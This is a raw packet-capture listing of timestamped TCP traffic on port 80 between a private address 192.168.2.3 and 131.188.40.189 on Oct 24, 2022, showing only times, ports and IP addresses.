Oct 24, 2022 11:00:50.787065983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787070990 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787105083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787147045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787177086 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787192106 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787218094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787259102 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787298918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787308931 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787338972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787344933 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787377119 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787415028 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787422895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787453890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787492037 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787499905 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787530899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787573099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787612915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787620068 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787652969 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787693024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787698984 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787733078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787738085 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787772894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787811995 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787828922 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787848949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787888050 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787892103 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.787925005 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787964106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787967920 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788002968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788041115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788079977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788089037 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788116932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788153887 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788163900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788192034 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788196087 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788228989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788266897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788273096 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788305044 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788343906 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788352013 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788383961 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788422108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788460970 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788464069 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788497925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788535118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788542032 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788577080 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788618088 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788628101 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788657904 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788657904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788697004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788734913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788744926 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788773060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788810968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788847923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788860083 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788886070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788887978 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.788923025 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.788963079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789002895 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789009094 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789040089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789077997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789086103 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789117098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789118052 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789154053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789194107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789200068 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789232969 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789272070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789277077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789313078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789352894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789391994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789397955 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789428949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789434910 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789467096 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789505005 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789509058 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789544106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789582968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789587975 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789623976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789663076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789665937 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789701939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789741039 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789746046 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789777994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789815903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789855957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789865971 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789897919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789937973 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.789946079 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.789978027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790018082 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790023088 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790055037 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790055990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790095091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790138006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790139914 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790177107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790216923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790225983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790256023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790294886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790333986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790345907 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790373087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790411949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790419102 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790450096 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790452003 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790488958 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790529966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790540934 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790571928 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790574074 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790610075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790620089 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790651083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790657043 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790688992 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790728092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790735006 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790765047 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790774107 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790805101 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790842056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790849924 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790919065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.790968895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.790977955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.791024923 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.791024923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.791064024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.791105032 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.791110039 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.791142941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.791182995 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.791187048 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.791239023 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.811657906 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811723948 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811762094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811770916 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.811795950 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811795950 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.811821938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811851025 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.811856031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811889887 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.811892986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811923981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811948061 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.811961889 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.811986923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812017918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812020063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812038898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812053919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812066078 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812088013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812103033 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812122107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812129974 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812155962 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812180042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812201023 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812226057 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812258959 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812273026 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812293053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812300920 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812329054 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812361956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812387943 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812393904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812411070 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812427998 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812441111 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812462091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812480927 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812494040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812506914 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812527895 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812544107 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812562943 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812601089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812627077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812633991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812650919 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812668085 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812678099 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812702894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812712908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812735081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812745094 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812768936 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812778950 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812802076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812835932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812839985 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812859058 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812870979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812882900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812907934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812918901 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812943935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.812958002 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.812977076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813009977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813044071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813060045 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813060045 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813076019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813092947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813110113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813147068 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813165903 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813182116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813216925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813232899 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813251019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813262939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813283920 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813318014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813349009 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813370943 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813381910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813390970 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813426018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813430071 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813450098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813472033 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813476086 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813494921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813505888 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813518047 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813532114 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813534975 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813551903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813572884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813589096 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813611031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813613892 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813632965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813648939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813648939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813680887 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813707113 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813709021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813718081 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813734055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813740969 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813755035 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813772917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813776970 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813791037 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813797951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813810110 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813821077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813823938 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813834906 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813846111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813867092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813875914 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813889027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813899040 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813910007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813920021 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813931942 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813941956 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813952923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813952923 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813977003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.813980103 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.813997984 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814019918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814030886 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814030886 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814043045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814058065 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814064980 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814069033 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814086914 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814100027 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814110041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814122915 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814131975 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814132929 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814163923 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814167023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814188957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814202070 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814210892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814222097 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814234018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814234972 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814258099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814264059 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814279079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814286947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814301968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814304113 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814317942 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814333916 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814356089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814372063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814390898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814393997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814414978 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.814416885 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.814435005 CEST	49719	80	192.168.2.3	131.188.40.189
